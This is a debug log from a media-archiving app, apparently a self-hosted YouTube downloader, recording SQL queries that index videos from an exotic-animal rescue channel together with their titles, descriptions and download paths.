idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.552 [debug] QUERY OK source="media_items" db=0.9ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 12:00:11Z], 33] 08:30:39.553 [debug] QUERY OK source="media_items" db=0.7ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["So far in 2025 I have saved hundreds of animals from abandoned pet stores, dumpsters, polluted sewers, and even abandoned axolotl farms… So I decided to turn all of those crazy videos into one giant movie! In this video, we end up finding axolotls, snakes, frogs, lizards, insects, bunnies, turtles, and so much more! So sit back, relax, and grab some popcorn… Because this is gonna be one wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "Every Animal i Found in 2025", "bff04811-40a2-445e-9041-c18f7ebff357", "818YLuzrD-4", false, "https://www.youtube.com/watch?v=818YLuzrD-4", 33, [], 7322, false, 9, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e080200 - Every Animal i Found in 2025.mp4", false, false, 98, ~U[2025-08-02 12:00:11Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "So far in 2025 I have saved hundreds of animals from abandoned pet stores, dumpsters, polluted sewers, and even abandoned axolotl farms… So I decided to turn all of those crazy videos into one giant movie! In this video, we end up finding axolotls, snakes, frogs, lizards, insects, bunnies, turtles, and so much more! So sit back, relax, and grab some popcorn… Because this is gonna be one wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "Every Animal i Found in 2025", "818YLuzrD-4", "https://www.youtube.com/watch?v=818YLuzrD-4", 33, 7322, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e080200 - Every Animal i Found in 2025.mp4", false, ~U[2025-08-02 12:00:11Z]] 08:30:39.554 [debug] QUERY OK source="sources" db=0.3ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.555 [debug] QUERY OK source="media_items" db=0.7ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-26 19:00:26Z], 33] 08:30:39.556 [debug] QUERY OK source="media_items" db=0.7ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I buy the deadliest insects in the world to keep as my new pets, including spiders, centipedes, bloodworms, scorpions, crabs, and so much more! Why? Well, because all of my life I have been terrified of insects, so I thought what better way to try and get over my fears than to fill my room with the most dangerous, venomous, and horrifying bugs I can find! Will keeping all of these crazy creatures as my pets be a good idea? Or will it be the worst decision i’ve ever made? Watch till the end to find out!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Bought The Deadliest Insects (to keep as pets)", "24fc30ff-9eef-4b5a-bc83-96cb722bdf6c", "OqQWifbE3ws", false, "https://www.youtube.com/watch?v=OqQWifbE3ws", 33, [], 1316, false, 10, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e072600 - I Bought The Deadliest Insects (to keep as pets).mkv", false, false, 98, ~U[2025-07-26 19:00:26Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video I buy the deadliest insects in the world to keep as my new pets, including spiders, centipedes, bloodworms, scorpions, crabs, and so much more! Why? Well, because all of my life I have been terrified of insects, so I thought what better way to try and get over my fears than to fill my room with the most dangerous, venomous, and horrifying bugs I can find! Will keeping all of these crazy creatures as my pets be a good idea? Or will it be the worst decision i’ve ever made? Watch till the end to find out!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Bought The Deadliest Insects (to keep as pets)", "OqQWifbE3ws", "https://www.youtube.com/watch?v=OqQWifbE3ws", 33, 1316, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e072600 - I Bought The Deadliest Insects (to keep as pets).mkv", false, ~U[2025-07-26 19:00:26Z]] 08:30:39.556 [debug] QUERY OK source="sources" db=0.3ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.557 [debug] QUERY OK source="media_items" db=0.7ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-12 14:03:48Z], 33] 08:30:39.558 [debug] QUERY OK source="media_items" db=0.8ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I explore 100 different sewers to see what crazy creatures I can find living inside of them! However it’s not going to be easy, because these sewers are home to tons of deadly animals including alligators, snakes, monster turtles, venomous stonefish, and so much more! But the risk is going to be worth it because these sewers are also known to have extremely rare animals inside of them, so make sure to watch till the end to see what we found!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Searched 100 Sewers, Here’s What I Found…", "4f6c28c2-dbcb-4533-b015-6d285409f0a5", "FzYbHf2jmM0", false, "https://www.youtube.com/watch?v=FzYbHf2jmM0", 33, [], 871, false, 11, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e071200 - I Searched 100 Sewers, Here’s What I Found….mkv", false, false, 98, ~U[2025-07-12 14:03:48Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video I explore 100 different sewers to see what crazy creatures I can find living inside of them! However it’s not going to be easy, because these sewers are home to tons of deadly animals including alligators, snakes, monster turtles, venomous stonefish, and so much more! But the risk is going to be worth it because these sewers are also known to have extremely rare animals inside of them, so make sure to watch till the end to see what we found!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Searched 100 Sewers, Here’s What I Found…", "FzYbHf2jmM0", "https://www.youtube.com/watch?v=FzYbHf2jmM0", 33, 871, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e071200 - I Searched 100 Sewers, Here’s What I Found….mkv", false, ~U[2025-07-12 14:03:48Z]] 08:30:39.559 [debug] QUERY OK source="sources" db=0.4ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.560 [debug] QUERY OK source="media_items" db=0.7ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-28 12:00:21Z], 33] 08:30:39.562 [debug] QUERY OK source="media_items" db=1.6ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I buy the deadliest sea creatures off the dark web including sharks, venomous stonefish, eels, alien fish, and so much more! I started off by ordering an alien fish mystery box and inside were 2 slimy sea creatures i’ve never seen before! But we’re gonna need to buy a lot more animals in order to fill up my entire garage, so I ordered some more packages… Next I found a venomous lionfish, a pufferfish, and a weird mystery fish that had legs! Things were starting to pick up and we were buying sea creatures left and right, including a mantis shrimp, a monster eel, and some more alien fish! But I felt like I was missing something, and that was a shark! So I found a sketchy website that was selling one and I bought it, but that would turn out to be a mistake because the shark showed up dead… After being scammed I decided to buy a monster fish mystery box, and inside was a lion fish, a panther grouper, a giant zebra eel, and a bunch of other monster fish! Suddenly 3 more packages arrived and inside was super rare starfish, and a bunch of jellyfish! I then came across a listing online of someone selling a stonefish, which is the most venomous fish in the world! I went ahead and bought it and a few days later it showed up, and it was the biggest one i’ve ever seen! Luckily I was able to get him into an aquarium without getting stung, and then it was time to open up the next box, which was the craziest one so far! Inside of this box was tons of different anglerfish, but sadly some of them didn’t make it. But we were still able to save 4 of them including rare red and green ones! After buying a sea urchin mystery box, and a creepy sea slug mystery box, it was time to buy some monster fish! I managed to get 2 huge dragon eels out of a mystery box, but we were still missing a shark…So I found another website claiming to sell one and I bought it! And only a few days later it showed up, and we finally got a pet shark! Comment down below what animals we should buy for a part 2!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The Deadliest Sea Creatures On The Dark Web!", "1c0951a9-aedc-40ab-abfd-2588382696b5", "bTxhjc8_xqQ", false, "https://www.youtube.com/watch?v=bTxhjc8_xqQ", 33, [], 1220, false, 12, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e062800 - I Found The Deadliest Sea Creatures On The Dark Web!.mkv", false, false, 98, ~U[2025-06-28 12:00:21Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video, I buy the deadliest sea creatures off the dark web including sharks, venomous stonefish, eels, alien fish, and so much more! I started off by ordering an alien fish mystery box and inside were 2 slimy sea creatures i’ve never seen before! But we’re gonna need to buy a lot more animals in order to fill up my entire garage, so I ordered some more packages… Next I found a venomous lionfish, a pufferfish, and a weird mystery fish that had legs! Things were starting to pick up and we were buying sea creatures left and right, including a mantis shrimp, a monster eel, and some more alien fish! But I felt like I was missing something, and that was a shark! So I found a sketchy website that was selling one and I bought it, but that would turn out to be a mistake because the shark showed up dead… After being scammed I decided to buy a monster fish mystery box, and inside was a lion fish, a panther grouper, a giant zebra eel, and a bunch of other monster fish! Suddenly 3 more packages arrived and inside was super rare starfish, and a bunch of jellyfish! I then came across a listing online of someone selling a stonefish, which is the most venomous fish in the world! I went ahead and bought it and a few days later it showed up, and it was the biggest one i’ve ever seen! Luckily I was able to get him into an aquarium without getting stung, and then it was time to open up the next box, which was the craziest one so far! Inside of this box was tons of different anglerfish, but sadly some of them didn’t make it. But we were still able to save 4 of them including rare red and green ones! After buying a sea urchin mystery box, and a creepy sea slug mystery box, it was time to buy some monster fish! I managed to get 2 huge dragon eels out of a mystery box, but we were still missing a shark…So I found another website claiming to sell one and I bought it! And only a few days later it showed up, and we finally got a pet shark! Comment down below what animals we should buy for a part 2!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The Deadliest Sea Creatures On The Dark Web!", "bTxhjc8_xqQ", "https://www.youtube.com/watch?v=bTxhjc8_xqQ", 33, 1220, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e062800 - I Found The Deadliest Sea Creatures On The Dark Web!.mkv", false, ~U[2025-06-28 12:00:21Z]] 08:30:39.562 [debug] QUERY OK source="sources" db=0.3ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.563 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-31 12:05:14Z], 33] 08:30:39.567 [debug] QUERY OK source="media_items" db=3.6ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned pet store that is still filled with tons of animals including fish, snakes, lizards, insects, bunnies, turtles, and so much more! And since no one is taking care of them, it’s my mission to save them all! So I started off by netting around in a pond that is full of monster fish! I was able to catch a bunch of big catfish, clown knife fish, and even an albino lungfish! After saving them I headed over to the next enclosures and I managed to find bearded dragons, corn snakes, and a bunch of other lizards and frogs i’ve never seen before! But things started to get a lot crazier when I found some venomous lionfish… I carefully netted them out and I moved onto the next enclosure which was home to 2 baby prairie dogs, which are extremely rare! But there was still so many animals we needed to save so I kept going and I was able to catch some turtles, chameleons, and more scary snakes! After that I noticed a really big lizard inside one of the cages, and it was an asian water monitor! But he was super aggressive so I had to be very careful catching him out… As I kept going I found more geckos, skinks, hermit crabs, tree frogs, and so much more! But then I stumbled upon the craziest animal so far, a frilled dragon! These guys are super rare and very expensive, this store was literally selling it for $1,500! Sadly the frilled dragon had a broken back but it was still alive and that’s all that matters! I kept exploring the pet store and I managed to save a couple bunnies, and even baby snapping turtles… But things got really scary when I came across the insects. There was tons of tarantulas, centipedes, scorpions, and so many other crazy creatures which I had to save! But luckily next was a bunch of animals that were a lot less scary including axolotls, albino bullfrogs, tortoises, and even a baby hedgehog! But finally after exploring the entire pet store there was only one enclosure left, and it was home to the biggest and scariest animals so far! Inside was a bunch of giant snakes including 2 7 ft boa constrictors, and thankfully I was able to safely catch them out without getting bit! Comment down below which animals I should keep and which animals I should give away!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Pet Shop!", "452ace87-a012-4ffe-b98b-4d31f059c9d0", "J-STRAtlMwM", false, "https://www.youtube.com/watch?v=J-STRAtlMwM", 33, [], 2451, false, 13, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e053100 - I Found an Abandoned Pet Shop!.mkv", false, false, 98, ~U[2025-05-31 12:05:14Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video, I find an abandoned pet store that is still filled with tons of animals including fish, snakes, lizards, insects, bunnies, turtles, and so much more! And since no one is taking care of them, it’s my mission to save them all! So I started off by netting around in a pond that is full of monster fish! I was able to catch a bunch of big catfish, clown knife fish, and even an albino lungfish! After saving them I headed over to the next enclosures and I managed to find bearded dragons, corn snakes, and a bunch of other lizards and frogs i’ve never seen before! But things started to get a lot crazier when I found some venomous lionfish… I carefully netted them out and I moved onto the next enclosure which was home to 2 baby prairie dogs, which are extremely rare! But there was still so many animals we needed to save so I kept going and I was able to catch some turtles, chameleons, and more scary snakes! After that I noticed a really big lizard inside one of the cages, and it was an asian water monitor! But he was super aggressive so I had to be very careful catching him out… As I kept going I found more geckos, skinks, hermit crabs, tree frogs, and so much more! But then I stumbled upon the craziest animal so far, a frilled dragon! These guys are super rare and very expensive, this store was literally selling it for $1,500! Sadly the frilled dragon had a broken back but it was still alive and that’s all that matters! I kept exploring the pet store and I managed to save a couple bunnies, and even baby snapping turtles… But things got really scary when I came across the insects. There was tons of tarantulas, centipedes, scorpions, and so many other crazy creatures which I had to save! But luckily next was a bunch of animals that were a lot less scary including axolotls, albino bullfrogs, tortoises, and even a baby hedgehog! But finally after exploring the entire pet store there was only one enclosure left, and it was home to the biggest and scariest animals so far! Inside was a bunch of giant snakes including 2 7 ft boa constrictors, and thankfully I was able to safely catch them out without getting bit! Comment down below which animals I should keep and which animals I should give away!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Pet Shop!", "J-STRAtlMwM", "https://www.youtube.com/watch?v=J-STRAtlMwM", 33, 2451, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e053100 - I Found an Abandoned Pet Shop!.mkv", false, ~U[2025-05-31 12:05:14Z]] 08:30:39.568 [debug] QUERY OK source="sources" db=0.4ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.569 [debug] QUERY OK source="media_items" db=0.7ms idle=6.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-19 12:00:31Z], 33] 08:30:39.571 [debug] QUERY OK source="media_items" db=1.3ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I explore my backyard ponds to catch out sharks, piranhas, and a ton of other monster fish to bring to my brand new pond! I started netting around in the smallest of the 4 ponds and immediately I caught some sharks, knife fish, redtail catfish, and even freshwater dolphins! But as I kept going the fish were getting even crazier and i caught an extremely expensive platinum redtail catfish, and a piraiba catfish which can get up to 12ft! I added them all into the u-haul which will be used to bring them to the new pond, and I made my way to the 2nd pond which is infested with piranhas! I carefully got in the water and right away I started catching tons of big piranhas including rare albinos ones! But as I kept going all of a sudden the piranhas started attacking me and bit my legs… But I had to keep going to catch out all of the fish in order to bring them to their new home… So I took another net and I managed to catch more piranhas, along with some monster eels, and giant gouramis! Right after that I came across the biggest fish so far which was a hybrid catfish, that had no eyes! I added him into the u-haul and then I caught an extremely rare albinos wells catfish which is known for being able to eat humans! At this point the piranha infested pond was looking pretty empty, so I moved onto the 3rd one which is home to tons of freshwater sharks! As soon as I stepped in the water I was attacked by the sharks and they were running into my legs! So I started netting around to try and catch them and immediately I got some! But there was still a ton inside of the pond, and they weren’t easy to catch! So I kept netting and I managed to catch some other fish including albino plecos, and irwini catfish! After that it seemed like every net I was catching sharks, but after removing over 20 I stopped catching them, which meant that we removed all of them! I decided to moved onto the 4th and final pond which is home to the rarest, deadliest, and biggest fish! I carefully made my way in while trying to avoid the venomous stingrays and the super aggressive catfish. Now since there was so many fish in this pond it was pretty easy to find them, and immediately I caught a bunch of different species of catfish, including redtail catfish, and ripsaw catfish, as well as a stingray! As I kept netting I was catching more and more monster fish to bring to the new pond… But after removing every single fish, there was only 1 left… And it was the giant 5ft long ripsaw catfish that is known for being super aggressive! After many failed attempts I was finally able to get it in the net, but it was fighting super hard! Eventually I tired it out and I managed to get it into the u-haul along with all of the fish we are bringing to the new pond. And after a long drive, the fish made it there safely and I was able to put them into their new home! What fish would you like to see me buy for the pond next?\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found a Monster Living in My Pond…", "ac8f1281-ea15-4004-9491-f855d4246fa6", "32XYlQoTwvg", false, "https://www.youtube.com/watch?v=32XYlQoTwvg", 33, [], 1964, false, 14, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e041900 - I Found a Monster Living in My Pond….mkv", false, false, 98, ~U[2025-04-19 12:00:31Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video, I explore my backyard ponds to catch out sharks, piranhas, and a ton of other monster fish to bring to my brand new pond! I started netting around in the smallest of the 4 ponds and immediately I caught some sharks, knife fish, redtail catfish, and even freshwater dolphins! But as I kept going the fish were getting even crazier and i caught an extremely expensive platinum redtail catfish, and a piraiba catfish which can get up to 12ft! I added them all into the u-haul which will be used to bring them to the new pond, and I made my way to the 2nd pond which is infested with piranhas! I carefully got in the water and right away I started catching tons of big piranhas including rare albinos ones! But as I kept going all of a sudden the piranhas started attacking me and bit my legs… But I had to keep going to catch out all of the fish in order to bring them to their new home… So I took another net and I managed to catch more piranhas, along with some monster eels, and giant gouramis! Right after that I came across the biggest fish so far which was a hybrid catfish, that had no eyes! I added him into the u-haul and then I caught an extremely rare albinos wells catfish which is known for being able to eat humans! At this point the piranha infested pond was looking pretty empty, so I moved onto the 3rd one which is home to tons of freshwater sharks! As soon as I stepped in the water I was attacked by the sharks and they were running into my legs! So I started netting around to try and catch them and immediately I got some! But there was still a ton inside of the pond, and they weren’t easy to catch! So I kept netting and I managed to catch some other fish including albino plecos, and irwini catfish! After that it seemed like every net I was catching sharks, but after removing over 20 I stopped catching them, which meant that we removed all of them! I decided to moved onto the 4th and final pond which is home to the rarest, deadliest, and biggest fish! I carefully made my way in while trying to avoid the venomous stingrays and the super aggressive catfish. Now since there was so many fish in this pond it was pretty easy to find them, and immediately I caught a bunch of different species of catfish, including redtail catfish, and ripsaw catfish, as well as a stingray! As I kept netting I was catching more and more monster fish to bring to the new pond… But after removing every single fish, there was only 1 left… And it was the giant 5ft long ripsaw catfish that is known for being super aggressive! After many failed attempts I was finally able to get it in the net, but it was fighting super hard! Eventually I tired it out and I managed to get it into the u-haul along with all of the fish we are bringing to the new pond. And after a long drive, the fish made it there safely and I was able to put them into their new home! What fish would you like to see me buy for the pond next?\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found a Monster Living in My Pond…", "32XYlQoTwvg", "https://www.youtube.com/watch?v=32XYlQoTwvg", 33, 1964, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e041900 - I Found a Monster Living in My Pond….mkv", false, ~U[2025-04-19 12:00:31Z]] 08:30:39.571 [debug] QUERY OK source="sources" db=0.4ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.573 [debug] QUERY OK source="media_items" db=1.0ms idle=4.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-15 12:22:02Z], 33] 08:30:39.577 [debug] QUERY OK source="media_items" db=4.2ms idle=4.8ms INSERT INTO "media_items" AS m0 